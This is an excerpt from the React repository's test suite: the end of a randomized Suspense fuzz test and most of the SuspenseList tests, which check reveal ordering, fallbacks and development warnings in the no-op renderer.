    "content": "let React;\nlet Suspense;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet Random;\nlet ReactFeatureFlags;\n\nconst SEED = process.env.FUZZ_TEST_SEED || 'default';\nconst prettyFormatPkg = require('pretty-format');\n\nfunction prettyFormat(thing) {\n  return prettyFormatPkg.format(thing, {\n    plugins: [\n      prettyFormatPkg.plugins.ReactElement,\n      prettyFormatPkg.plugins.ReactTestComponent,\n    ],\n  });\n}\n\ndescribe('ReactSuspenseFuzz', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    Suspense = React.Suspense;\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    Random = require('random-seed');\n    ReactFeatureFlags = require('shared/ReactFeatureFlags');\n  });\n\n  jest.setTimeout(20000);\n\n  function createFuzzer() {\n    const {useState, useContext, useLayoutEffect} = React;\n\n    const ShouldSuspendContext = React.createContext(true);\n\n    let pendingTasks = new Set();\n    let cache = new Map();\n\n    function resetCache() {\n      pendingTasks = new Set();\n      cache = new Map();\n    }\n\n    function Container({children, updates}) {\n      const [step, setStep] = useState(0);\n\n      useLayoutEffect(() => {\n        if (updates !== undefined) {\n          const cleanUps = new Set();\n          updates.forEach(({remountAfter}, i) => {\n            const task = {\n              label: `Remount children after ${remountAfter}ms`,\n            };\n            const timeoutID = setTimeout(() => {\n              pendingTasks.delete(task);\n              setStep(i + 1);\n            }, remountAfter);\n            pendingTasks.add(task);\n            cleanUps.add(() => {\n              pendingTasks.delete(task);\n              clearTimeout(timeoutID);\n            });\n          });\n          return () => {\n            cleanUps.forEach(cleanUp => cleanUp());\n          };\n        }\n      }, [updates]);\n\n      return <React.Fragment key={step}>{children}</React.Fragment>;\n    }\n\n    function Text({text, initialDelay = 0, updates}) {\n      const [[step, delay], setStep] = useState([0, initialDelay]);\n\n      useLayoutEffect(() => {\n        if (updates !== undefined) {\n          const cleanUps = new Set();\n          updates.forEach(({beginAfter, suspendFor}, i) => {\n            const task = {\n              label: `Update ${beginAfter}ms after mount and suspend for ${suspendFor}ms [${text}]`,\n            };\n            const timeoutID = setTimeout(() => {\n              pendingTasks.delete(task);\n              setStep([i + 1, suspendFor]);\n            }, beginAfter);\n            pendingTasks.add(task);\n            cleanUps.add(() => {\n              pendingTasks.delete(task);\n              clearTimeout(timeoutID);\n            });\n          });\n          return () => {\n            cleanUps.forEach(cleanUp => cleanUp());\n          };\n        }\n      }, [updates]);\n\n      const fullText = `[${text}:${step}]`;\n\n      const shouldSuspend = useContext(ShouldSuspendContext);\n\n      let resolvedText;\n      if (shouldSuspend && delay > 0) {\n        resolvedText = cache.get(fullText);\n        if (resolvedText === undefined) {\n          const thenable = {\n            then(resolve) {\n              const task = {label: `Promise resolved [${fullText}]`};\n              pendingTasks.add(task);\n              setTimeout(() => {\n                cache.set(fullText, fullText);\n                pendingTasks.delete(task);\n                resolve();\n              }, delay);\n            },\n          };\n          cache.set(fullText, thenable);\n          throw thenable;\n        } else if (typeof resolvedText.then === 'function') {\n          throw resolvedText;\n        }\n      } else {\n        resolvedText = fullText;\n      }\n\n      return resolvedText;\n    }\n\n    async function testResolvedOutput(unwrappedChildren) {\n      const children = (\n        <Suspense fallback=\"Loading...\">{unwrappedChildren}</Suspense>\n      );\n\n      // Render the app multiple times: once without suspending (as if all the\n      // data was already preloaded), and then again with suspensey data.\n      resetCache();\n      const expectedRoot = ReactNoop.createRoot();\n      await act(() => {\n        expectedRoot.render(\n          <ShouldSuspendContext.Provider value={false}>\n            {children}\n          </ShouldSuspendContext.Provider>,\n        );\n      });\n\n      const expectedOutput = expectedRoot.getChildrenAsJSX();\n\n      resetCache();\n\n      const concurrentRootThatSuspends = ReactNoop.createRoot();\n      await act(() => {\n        concurrentRootThatSuspends.render(children);\n      });\n\n      resetCache();\n\n      // Do it again in legacy mode.\n      if (!ReactFeatureFlags.disableLegacyMode) {\n        const legacyRootThatSuspends = ReactNoop.createLegacyRoot();\n        await act(() => {\n          legacyRootThatSuspends.render(children);\n        });\n\n        expect(legacyRootThatSuspends.getChildrenAsJSX()).toEqual(\n          expectedOutput,\n        );\n      }\n\n      // Now compare the final output. It should be the same.\n      expect(concurrentRootThatSuspends.getChildrenAsJSX()).toEqual(\n        expectedOutput,\n      );\n\n      // TODO: There are Scheduler logs in this test file but they were only\n      // added for debugging purposes; we don't make any assertions on them.\n      // Should probably just delete.\n      Scheduler.unstable_clearLog();\n    }\n\n    function pickRandomWeighted(rand, options) {\n      let totalWeight = 0;\n      for (let i = 0; i < options.length; i++) {\n        totalWeight += options[i].weight;\n      }\n      let remainingWeight = rand.floatBetween(0, totalWeight);\n      for (let i = 0; i < options.length; i++) {\n        const {value, weight} = options[i];\n        remainingWeight -= weight;\n        if (remainingWeight <= 0) {\n          return value;\n        }\n      }\n    }\n\n    function generateTestCase(rand, numberOfElements) {\n      let remainingElements = numberOfElements;\n\n      function createRandomChild(hasSibling) {\n        const possibleActions = [\n          {value: 'return', weight: 1},\n          {value: 'text', weight: 1},\n        ];\n\n        if (hasSibling) {\n          possibleActions.push({value: 'container', weight: 1});\n          possibleActions.push({value: 'suspense', weight: 1});\n        }\n\n        const action = pickRandomWeighted(rand, possibleActions);\n\n        switch (action) {\n          case 'text': {\n            remainingElements--;\n\n            const numberOfUpdates = pickRandomWeighted(rand, [\n              {value: 0, weight: 8},\n              {value: 1, weight: 4},\n              {value: 2, weight: 1},\n            ]);\n\n            const updates = [];\n            for (let i = 0; i < numberOfUpdates; i++) {\n              updates.push({\n                beginAfter: rand.intBetween(0, 10000),\n                suspendFor: rand.intBetween(0, 10000),\n              });\n            }\n\n            return (\n              <Text\n                text={(remainingElements + 9).toString(36).toUpperCase()}\n                initialDelay={rand.intBetween(0, 10000)}\n                updates={updates}\n              />\n            );\n          }\n          case 'container': {\n            const numberOfUpdates = pickRandomWeighted(rand, [\n              {value: 0, weight: 8},\n              {value: 1, weight: 4},\n              {value: 2, weight: 1},\n            ]);\n\n            const updates = [];\n            for (let i = 0; i < numberOfUpdates; i++) {\n              updates.push({\n                remountAfter: rand.intBetween(0, 10000),\n              });\n            }\n\n            remainingElements--;\n            const children = createRandomChildren(3);\n            return React.createElement(Container, {updates}, ...children);\n          }\n          case 'suspense': {\n            remainingElements--;\n            const children = createRandomChildren(3);\n\n            const fallbackType = pickRandomWeighted(rand, [\n              {value: 'none', weight: 1},\n              {value: 'normal', weight: 1},\n              {value: 'nested suspense', weight: 1},\n            ]);\n\n            let fallback;\n            if (fallbackType === 'normal') {\n              fallback = 'Loading...';\n            } else if (fallbackType === 'nested suspense') {\n              fallback = React.createElement(\n                React.Fragment,\n                null,\n                ...createRandomChildren(3),\n              );\n            }\n\n            return React.createElement(Suspense, {fallback}, ...children);\n          }\n          case 'return':\n          default:\n            return null;\n        }\n      }\n\n      function createRandomChildren(limit) {\n        const children = [];\n        while (remainingElements > 0 && children.length < limit) {\n          children.push(createRandomChild(children.length > 0));\n        }\n        return children;\n      }\n\n      const children = createRandomChildren(Infinity);\n      return React.createElement(React.Fragment, null, ...children);\n    }\n\n    return {Container, Text, testResolvedOutput, generateTestCase};\n  }\n\n  it('basic cases', async () => {\n    // This demonstrates that the testing primitives work\n    const {Container, Text, testResolvedOutput} = createFuzzer();\n    await testResolvedOutput(\n      <Container updates={[{remountAfter: 150}]}>\n        <Text\n          text=\"Hi\"\n          initialDelay={2000}\n          updates={[{beginAfter: 100, suspendFor: 200}]}\n        />\n      </Container>,\n    );\n  });\n\n  it(`generative tests (random seed: ${SEED})`, async () => {\n    const {generateTestCase, testResolvedOutput} = createFuzzer();\n\n    const rand = Random.create(SEED);\n\n    // If this is too large the test will time out. We use a scheduled CI\n    // workflow to run these tests with a random seed.\n    const NUMBER_OF_TEST_CASES = 250;\n    const ELEMENTS_PER_CASE = 12;\n\n    for (let i = 0; i < NUMBER_OF_TEST_CASES; i++) {\n      const randomTestCase = generateTestCase(rand, ELEMENTS_PER_CASE);\n      try {\n        await testResolvedOutput(randomTestCase);\n      } catch (e) {\n        console.log(`\nFailed fuzzy test case:\n\n${prettyFormat(randomTestCase)}\n\nRandom seed is ${SEED}\n`);\n\n        throw e;\n      }\n    }\n  });\n\n  describe('hard-coded cases', () => {\n    it('1', async () => {\n      const {Text, testResolvedOutput} = createFuzzer();\n      await testResolvedOutput(\n        <>\n          <Text\n            initialDelay={20}\n            text=\"A\"\n            updates={[{beginAfter: 10, suspendFor: 20}]}\n          />\n          <Suspense fallback=\"Loading... (B)\">\n            <Text\n              initialDelay={10}\n              text=\"B\"\n              updates={[{beginAfter: 30, suspendFor: 50}]}\n            />\n            <Text text=\"C\" />\n          </Suspense>\n        </>,\n      );\n    });\n\n    it('2', async () => {\n      const {Text, Container, testResolvedOutput} = createFuzzer();\n      await testResolvedOutput(\n        <>\n          <Suspense fallback=\"Loading...\">\n            <Text initialDelay={7200} text=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Container>\n              <Text initialDelay={1000} text=\"B\" />\n              <Text initialDelay={7200} text=\"C\" />\n              <Text initialDelay={9000} text=\"D\" />\n            </Container>\n          </Suspense>\n        </>,\n      );\n    });\n\n    it('3', async () => {\n      const {Text, Container, testResolvedOutput} = createFuzzer();\n      await testResolvedOutput(\n        <>\n          <Suspense fallback=\"Loading...\">\n            <Text\n              initialDelay={3183}\n              text=\"A\"\n              updates={[\n                {\n                  beginAfter: 2256,\n                  suspendFor: 6696,\n                },\n              ]}\n            />\n            <Text initialDelay={3251} text=\"B\" />\n          </Suspense>\n          <Container>\n            <Text\n              initialDelay={2700}\n              text=\"C\"\n              updates={[\n                {\n                  beginAfter: 3266,\n                  suspendFor: 9139,\n                },\n              ]}\n            />\n            <Text initialDelay={6732} text=\"D\" />\n          </Container>\n        </>,\n      );\n    });\n\n    it('4', async () => {\n      const {Text, testResolvedOutput} = createFuzzer();\n      await testResolvedOutput(\n        <React.Suspense fallback=\"Loading...\">\n          <React.Suspense>\n            <React.Suspense>\n              <Text initialDelay={9683} text=\"E\" updates={[]} />\n            </React.Suspense>\n            <Text\n              initialDelay={4053}\n              text=\"C\"\n              updates={[\n                {\n                  beginAfter: 1566,\n                  suspendFor: 4142,\n                },\n                {\n                  beginAfter: 9572,\n                  suspendFor: 4832,\n                },\n              ]}\n            />\n          </React.Suspense>\n        </React.Suspense>,\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspenseList-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet Profiler;\nlet Suspense;\nlet SuspenseList;\nlet waitForAll;\nlet assertLog;\nlet waitFor;\nlet assertConsoleErrorDev;\n\ndescribe('ReactSuspenseList', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    Profiler = React.Profiler;\n    Suspense = React.Suspense;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n    act = InternalTestUtils.act;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span>{props.text}</span>;\n  }\n\n  function createAsyncText(text) {\n    let resolved = false;\n    const Component = function () {\n      if (!resolved) {\n        Scheduler.log('Suspend! [' + text + ']');\n        throw promise;\n      }\n      return <Text text={text} />;\n    };\n    const promise = new Promise(resolve => {\n      Component.resolve = function () {\n        resolved = true;\n        return resolve();\n      };\n    });\n    return Component;\n  }\n\n  // @gate enableSuspenseList\n  it('warns if an unsupported revealOrder option is used', async () => {\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"something\">\n          <Suspense fallback=\"Loading\">Content</Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      '\"something\" is not a supported revealOrder on ' +\n        '<SuspenseList />. Did you mean \"independent\", \"together\", \"forwards\" or \"backwards\"?' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('warns if a upper case revealOrder option is used', async () => {\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"TOGETHER\">\n          <Suspense fallback=\"Loading\">Content</Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      '\"TOGETHER\" is not a valid value for revealOrder on ' +\n        '<SuspenseList />. Use lowercase \"together\" instead.' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('warns if a misspelled revealOrder option is used', async () => {\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forward\">\n          <Suspense fallback=\"Loading\">Content</Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      '\"forward\" is not a valid value for revealOrder on ' +\n        '<SuspenseList />. React uses the -s suffix in the spelling. ' +\n        'Use \"forwards\" instead.' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('warns if a single element is passed to a \"forwards\" list', async () => {\n    function Foo({children}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          {children}\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    // No warning\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo>{null}</Foo>);\n    // No warning\n    await waitForAll([]);\n\n    ReactNoop.render(<Foo>{false}</Foo>);\n    // No warning\n    await waitForAll([]);\n\n    await act(() => {\n      ReactNoop.render(\n        <Foo>\n          <Suspense fallback=\"Loading\">Child</Suspense>\n        </Foo>,\n      );\n    });\n    assertConsoleErrorDev([\n      'A single row was passed to a <SuspenseList revealOrder=\"forwards\" />. ' +\n        'This is not useful since it needs multiple rows. ' +\n        'Did you mean to pass multiple children or an array?' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('warns if a single fragment is passed to a \"backwards\" list', async () => {\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"unstable_legacy-backwards\" tail=\"visible\">\n          <>{[]}</>\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<Foo />);\n    });\n    assertConsoleErrorDev([\n      'A single row was passed to a <SuspenseList revealOrder=\"unstable_legacy-backwards\" />. ' +\n        'This is not useful since it needs multiple rows. ' +\n        'Did you mean to pass multiple children or an array?' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('warns if a nested array is passed to a \"forwards\" list', async () => {\n    function Foo({items}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          {items.map(name => (\n            <Suspense key={name} fallback=\"Loading\">\n              {name}\n            </Suspense>\n          ))}\n          <div>Tail</div>\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<Foo items={['A', 'B']} />);\n    });\n    assertConsoleErrorDev([\n      'A nested array was passed to row #0 in <SuspenseList />. ' +\n        'Wrap it in an additional SuspenseList to configure its revealOrder: ' +\n        '<SuspenseList revealOrder=...> ... ' +\n        '<SuspenseList revealOrder=...>{array}</SuspenseList> ... ' +\n        '</SuspenseList>' +\n        '\\n    in SuspenseList (at **)' +\n        '\\n    in Foo (at **)',\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('behaves as revealOrder=forwards by default', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList>\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll(['Suspend! [A]', 'Loading A']);\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await A.resolve();\n\n    await waitForAll(['A', 'Suspend! [B]', 'Loading B']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);\n\n    await act(() => B.resolve());\n    assertLog(['B', 'Suspend! [C]', 'Loading C']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('shows content independently with revealOrder=\"independent\"', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"independent\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await A.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Suspend! [C]',\n      'Loading C',\n      // pre-warming\n      'Suspend! [B]',\n      'Suspend! [C]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(\n      gate('alwaysThrottleRetries')\n        ? ['Suspend! [B]', 'C', 'Suspend! [B]']\n        : ['C'],\n    );\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>C</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList && !disableLegacyMode\n  it('shows content independently in legacy mode regardless of option', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await A.resolve();\n\n    ReactNoop.renderLegacySyncRoot(<Foo />);\n\n    assertLog(['A', 'Suspend! [B]', 'Loading B', 'Suspend! [C]', 'Loading C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => {\n      C.resolve();\n    });\n\n    assertLog(['C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>C</span>\n      </>,\n    );\n\n    await act(() => {\n      B.resolve();\n    });\n\n    assertLog(['B']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\"', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    await A.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Suspend! [C]',\n      'Loading C',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['A', 'B', 'Suspend! [C]']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['A', 'B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\" even when nested as siblings', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <div>\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n          </div>\n          <div>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </div>\n        </SuspenseList>\n      );\n    }\n\n    await A.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Suspend! [C]',\n      'Loading C',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>\n          <span>Loading A</span>\n          <span>Loading B</span>\n        </div>\n        <div>\n          <span>Loading C</span>\n        </div>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['A', 'B', 'Suspend! [C]']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>\n          <span>Loading A</span>\n          <span>Loading B</span>\n        </div>\n        <div>\n          <span>Loading C</span>\n        </div>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['A', 'B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>\n          <span>A</span>\n          <span>B</span>\n        </div>\n        <div>\n          <span>C</span>\n        </div>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\" in nested SuspenseLists', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <SuspenseList revealOrder=\"together\">\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </SuspenseList>\n        </SuspenseList>\n      );\n    }\n\n    await A.resolve();\n    await B.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'A',\n      'B',\n      'Suspend! [C]',\n      'Loading C',\n      'Loading B',\n      'Loading C',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['A', 'B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\" in nested SuspenseLists where the inner is \"independent\"', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <SuspenseList revealOrder=\"independent\">\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </SuspenseList>\n        </SuspenseList>\n      );\n    }\n\n    await A.resolve();\n    await B.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'A',\n      'B',\n      'Suspend! [C]',\n      'Loading C',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['A', 'B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('displays all \"together\" during an update', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n    const D = createAsyncText('D');\n\n    function Foo({step}) {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          {step === 0 && (\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n          )}\n          {step === 0 && (\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n          )}\n          {step === 1 && (\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          )}\n          {step === 1 && (\n            <Suspense fallback={<Text text=\"Loading D\" />}>\n              <D />\n            </Suspense>\n          )}\n        </SuspenseList>\n      );\n    }\n\n    // Mount\n    await A.resolve();\n    ReactNoop.render(<Foo step={0} />);\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Loading A',\n      'Loading B',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n      </>,\n    );\n    await act(() => B.resolve());\n    assertLog(['A', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n      </>,\n    );\n\n    // Update\n    await C.resolve();\n    ReactNoop.render(<Foo step={1} />);\n    await waitForAll([\n      'C',\n      'Suspend! [D]',\n      'Loading D',\n      'Loading C',\n      'Loading D',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading C</span>\n        <span>Loading D</span>\n      </>,\n    );\n    await act(() => D.resolve());\n    assertLog(['C', 'D']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>C</span>\n        <span>D</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList && enableSuspenseAvoidThisFallback\n  it('avoided boundaries can be coordinate with SuspenseList', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo({showMore}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading\" />}>\n          <SuspenseList revealOrder=\"together\">\n            <Suspense\n              unstable_avoidThisFallback={true}\n              fallback={<Text text=\"Loading A\" />}>\n              <A />\n            </Suspense>\n            {showMore ? (\n              <>\n                <Suspense\n                  unstable_avoidThisFallback={true}\n                  fallback={<Text text=\"Loading B\" />}>\n                  <B />\n                </Suspense>\n                <Suspense\n                  unstable_avoidThisFallback={true}\n                  fallback={<Text text=\"Loading C\" />}>\n                  <C />\n                </Suspense>\n              </>\n            ) : null}\n          </SuspenseList>\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>Loading</span>);\n\n    await act(() => A.resolve());\n    assertLog(['A']);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);\n\n    // Let's do an update that should consult the avoided boundaries.\n    ReactNoop.render(<Foo showMore={true} />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Suspend! [C]',\n      'Loading C',\n      'A',\n      'Loading B',\n      'Loading C',\n    ]);\n\n    // This will suspend, since the boundaries are avoided. Give them\n    // time to display their loading states.\n    jest.advanceTimersByTime(500);\n\n    // A is already showing content so it doesn't turn into a fallback.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B', 'Suspend! [C]']);\n\n    // Even though we could now show B, we're still waiting on C.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading 